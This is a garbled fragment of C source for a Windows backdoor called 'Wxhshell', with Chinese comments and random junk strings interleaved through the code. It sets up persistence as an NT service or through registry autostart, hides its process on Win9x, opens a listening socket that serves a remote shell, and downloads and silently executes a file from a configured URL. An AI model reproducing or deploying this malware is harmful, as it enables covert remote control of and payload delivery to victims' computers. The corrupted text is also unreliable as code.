sizeof(procName)); A<AZs~f Cg-khRgLS CloseHandle(hProcess); friNo^v& ci|6SaY* if(strstr(procName,"services")) return 1; // 以服务启动 ~u-mEdu3C R`A@F2 return 0; // 注册表启动 Uln[UK } HP&+ 8 *y
F 9_\n // 主模块 `2UzJ~ int StartWxhshell(LPSTR lpCmdLine) .3!=]= { >H?8?a D SOCKET wsl; rT5dv3^MW! BOOL val=TRUE; >*dqFZF int port=0; t|d9EC]c( struct sockaddr_in door; @
Al\: hesL$Z [ if(wscfg.ws_autoins) Install(); ^P\(IDJCo ?r#e port=atoi(lpCmdLine); .J'}qkz~ X >C*(/a if(port<=0) port=wscfg.ws_port; fY$M**/, oJ>]=^?k WSADATA data; k)dLJ<EM if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OZs^c2
W t-i; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Pf-k"7y setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); X.bNU door.sin_family = AF_INET; fD]}&xc door.sin_addr.s_addr = inet_addr("127.0.0.1"); )<t5' +d% door.sin_port = htons(port); GR Rv0M -T`rk~A9A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vG69z& closesocket(wsl); 8"Hy'JA$O return 1; {Jwh .bJ } (
{5LB4 f9F@G&&Ugg if(listen(wsl,2) == INVALID_SOCKET) { [C9 ->`(` closesocket(wsl); ON\_9\kv return 1; x{j|Tf3,G } J9zSBsp_ Wxhshell(wsl); %sbDH WSACleanup(); @|idlIey p,Qr9p3y return 0; ab: yH ') 2D>WIOX } 5iwJdm L"P$LEk // 以NT服务方式启动 g%Sl+gWdJ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V*2uW2\} { D:/^TEib DWORD status = 0; I|@%|sTW DWORD specificError = 0xfffffff; >/Gz*. 8lg$] serviceStatus.dwServiceType = SERVICE_WIN32; bO8 g#rO serviceStatus.dwCurrentState = SERVICE_START_PENDING; @GK0j"_ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Z94<}C6b serviceStatus.dwWin32ExitCode = 0; bb`GV serviceStatus.dwServiceSpecificExitCode = 0; {.K>9#^m serviceStatus.dwCheckPoint = 0; Ux2(Oph serviceStatus.dwWaitHint = 0; #;#
V1 kG^DHEne hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Q8E12 if (hServiceStatusHandle==0) return; ?YOH9%_cs Lo5itW status = GetLastError(); K?8{y if (status!=NO_ERROR) rzsb( { [kM)K'- serviceStatus.dwCurrentState = SERVICE_STOPPED; vT#zc)j serviceStatus.dwCheckPoint = 0; Ep>3%{V serviceStatus.dwWaitHint = 0; ~k'KS
7c serviceStatus.dwWin32ExitCode = status; ]v{f!r=} serviceStatus.dwServiceSpecificExitCode = specificError; ;!v2kVuS] SetServiceStatus(hServiceStatusHandle, &serviceStatus); R'`q0MoN1 return; UR>zL3 } $e)d!m. ^$}9
Enj+Y serviceStatus.dwCurrentState = SERVICE_RUNNING; 6sJN@dFA serviceStatus.dwCheckPoint = 0; :
9wW*Ix serviceStatus.dwWaitHint = 0; oi^2Pvauh if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y?a*-" } wC+_S*M-K $6kVhE!; // 处理NT服务事件,比如:启动、停止 $vlq]6V8 VOID WINAPI NTServiceHandler(DWORD fdwControl) BT.;l I {
\09eH[ switch(fdwControl) _~ZNX+4 { rXPq'k'h#- case SERVICE_CONTROL_STOP: w7@fiH{ serviceStatus.dwWin32ExitCode = 0; 3(0k!o0" serviceStatus.dwCurrentState = SERVICE_STOPPED; .'k]]2%ILp serviceStatus.dwCheckPoint = 0; (A|Gb2 X serviceStatus.dwWaitHint = 0; @KfFtR-; { =ZR9zL=h SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Yg36J4[ } eKPxSN Z return; z-$ bce9* case SERVICE_CONTROL_PAUSE: XkLl (uyh serviceStatus.dwCurrentState = SERVICE_PAUSED; kscZ
zXv break; G0Q}
1 case SERVICE_CONTROL_CONTINUE: KHV5V3q4 serviceStatus.dwCurrentState = SERVICE_RUNNING; KCu @5`p break; =NMT H[ case SERVICE_CONTROL_INTERROGATE: kv{uf$X*ve break; Y&!M#7/'J3 }; , 7&`V=C SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZG:#r\a } ACm9H9:Vd ^ ]02)cK // 标准应用程序主函数 1RpTI7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l?2(c { A{3Aw| ; $<cio
X // 获取操作系统版本 G5a PjP OsIsNt=GetOsVer(); (ZH5/VKp GetModuleFileName(NULL,ExeFile,MAX_PATH); |:BKexjHL 5#3/ // 从命令行安装 ARvT if(strpbrk(lpCmdLine,"iI")) Install(); ;T0F1 $N4%I4 // 下载执行文件 Z]kk.@P if(wscfg.ws_downexe) { &.J8O+ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) INtt0Cm9" WinExec(wscfg.ws_filenam,SW_HIDE); cVya~ * } *y<Ru:D ~b;l08 < if(!OsIsNt) { D1]%2: // 如果时win9x,隐藏进程并且设置为注册表启动 H'7AIY} HideProc(); |W4
\ StartWxhshell(lpCmdLine); hqrI%% } C%_^0#8-0 else +EK(r@eV if(StartFromService()) 5{/CqUIl // 以服务方式启动 XHU&ix{Od StartServiceCtrlDispatcher(DispatchTable); hiO:VA else _yk}
[x0> // 普通方式启动 M0VC-\W7f StartWxhshell(lpCmdLine); xEdCGwgp# `7_=2C return 0; =.NZ{G }
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